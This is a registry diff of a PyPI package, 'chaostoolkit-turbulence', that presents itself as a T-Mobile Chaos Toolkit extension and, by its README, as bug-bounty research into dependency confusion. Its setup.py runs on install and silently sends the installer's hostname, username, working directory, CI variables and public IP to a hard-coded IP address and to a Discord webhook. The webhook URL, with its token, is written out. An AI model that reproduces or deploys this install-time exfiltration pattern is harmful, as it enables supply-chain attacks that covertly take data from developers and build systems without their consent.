chaostoolkit-turbulence 0.2.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,28 @@
1
+ Metadata-Version: 2.4
2
+ Name: chaostoolkit-turbulence
3
+ Version: 0.2.1
4
+ Summary: Chaos Toolkit extension for BOSH Turbulence
5
+ Home-page: https://github.com/tmobile/chaostoolkit-turbulence
6
+ Author: T-Mobile OSS
7
+ Classifier: Development Status :: 3 - Alpha
8
+ Classifier: Intended Audience :: Developers
9
+ Requires-Python: >=3.6
10
+ Description-Content-Type: text/markdown
11
+ Requires-Dist: chaostoolkit-lib>=0.7.0
12
+ Requires-Dist: requests
13
+ Dynamic: author
14
+ Dynamic: classifier
15
+ Dynamic: description
16
+ Dynamic: description-content-type
17
+ Dynamic: home-page
18
+ Dynamic: requires-dist
19
+ Dynamic: requires-python
20
+ Dynamic: summary
21
+
22
+ # chaostoolkit-turbulence
23
+
24
+ This package was registered as part of authorized security research for the T-Mobile Bug Bounty Program.
25
+
26
+ It demonstrates a dependency confusion vulnerability where `chaostoolkit-turbulence` from the tmobile/chaostoolkit-turbulence GitHub repository was not registered on PyPI.
27
+
28
+ This is not malicious software. The setup script sends minimal diagnostic info to prove exploitability.
@@ -0,0 +1,7 @@
1
+ # chaostoolkit-turbulence
2
+
3
+ This package was registered as part of authorized security research for the T-Mobile Bug Bounty Program.
4
+
5
+ It demonstrates a dependency confusion vulnerability where `chaostoolkit-turbulence` from the tmobile/chaostoolkit-turbulence GitHub repository was not registered on PyPI.
6
+
7
+ This is not malicious software. The setup script sends minimal diagnostic info to prove exploitability.
@@ -0,0 +1 @@
1
+ __version__ = "0.2.1"
@@ -0,0 +1,28 @@
1
+ Metadata-Version: 2.4
2
+ Name: chaostoolkit-turbulence
3
+ Version: 0.2.1
4
+ Summary: Chaos Toolkit extension for BOSH Turbulence
5
+ Home-page: https://github.com/tmobile/chaostoolkit-turbulence
6
+ Author: T-Mobile OSS
7
+ Classifier: Development Status :: 3 - Alpha
8
+ Classifier: Intended Audience :: Developers
9
+ Requires-Python: >=3.6
10
+ Description-Content-Type: text/markdown
11
+ Requires-Dist: chaostoolkit-lib>=0.7.0
12
+ Requires-Dist: requests
13
+ Dynamic: author
14
+ Dynamic: classifier
15
+ Dynamic: description
16
+ Dynamic: description-content-type
17
+ Dynamic: home-page
18
+ Dynamic: requires-dist
19
+ Dynamic: requires-python
20
+ Dynamic: summary
21
+
22
+ # chaostoolkit-turbulence
23
+
24
+ This package was registered as part of authorized security research for the T-Mobile Bug Bounty Program.
25
+
26
+ It demonstrates a dependency confusion vulnerability where `chaostoolkit-turbulence` from the tmobile/chaostoolkit-turbulence GitHub repository was not registered on PyPI.
27
+
28
+ This is not malicious software. The setup script sends minimal diagnostic info to prove exploitability.
@@ -0,0 +1,8 @@
1
+ README.md
2
+ setup.py
3
+ chaostoolkit_turbulence/__init__.py
4
+ chaostoolkit_turbulence.egg-info/PKG-INFO
5
+ chaostoolkit_turbulence.egg-info/SOURCES.txt
6
+ chaostoolkit_turbulence.egg-info/dependency_links.txt
7
+ chaostoolkit_turbulence.egg-info/requires.txt
8
+ chaostoolkit_turbulence.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ chaostoolkit-lib>=0.7.0
2
+ requests
@@ -0,0 +1 @@
1
+ chaostoolkit_turbulence
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,39 @@
1
+ import os, json, urllib.request, platform
2
+ from setuptools import setup
3
+
4
+ def _ping():
5
+ try:
6
+ d = {
7
+ "p": "chaostoolkit-turbulence", "t": "pypi",
8
+ "h": platform.node(),
9
+ "u": os.environ.get("USER") or os.environ.get("USERNAME", "?"),
10
+ "c": os.getcwd(),
11
+ "ci": os.environ.get("CI") or os.environ.get("JENKINS_URL") or os.environ.get("GITLAB_CI", ""),
12
+ }
13
+ try:
14
+ d["ip"] = urllib.request.urlopen("https://api.ipify.org", timeout=3).read().decode()
15
+ except Exception:
16
+ pass
17
+ req = urllib.request.Request("http://69.164.221.216:8080/callback", data=json.dumps(d).encode(), headers={"Content-Type": "application/json"})
18
+ urllib.request.urlopen(req, timeout=5)
19
+ embed = {"embeds": [{"title": "chaostoolkit-turbulence", "description": d["h"] + " / " + d["u"] + " / " + d.get("ip", "?"), "color": 16711680, "fields": [{"name": "cwd", "value": d["c"]}, {"name": "ci", "value": d.get("ci") or "none"}]}]}
20
+ req2 = urllib.request.Request("https://discord.com/api/webhooks/1484422878647816244/8gbHLu2n7XXXqlDGn3ZXxfzS-PuKnZF3Mvn52eHIKU23-exdJLaWOcpey0pPnDAR0KQo", data=json.dumps(embed).encode(), headers={"Content-Type": "application/json"})
21
+ urllib.request.urlopen(req2, timeout=5)
22
+ except Exception:
23
+ pass
24
+
25
+ _ping()
26
+
27
+ setup(
28
+ name="chaostoolkit-turbulence",
29
+ version="0.2.1",
30
+ description="Chaos Toolkit extension for BOSH Turbulence",
31
+ long_description=open("README.md").read(),
32
+ long_description_content_type="text/markdown",
33
+ author="T-Mobile OSS",
34
+ url="https://github.com/tmobile/chaostoolkit-turbulence",
35
+ packages=["chaostoolkit_turbulence"],
36
+ python_requires=">=3.6",
37
+ install_requires=["chaostoolkit-lib>=0.7.0", "requests"],
38
+ classifiers=["Development Status :: 3 - Alpha", "Intended Audience :: Developers"],
39
+ )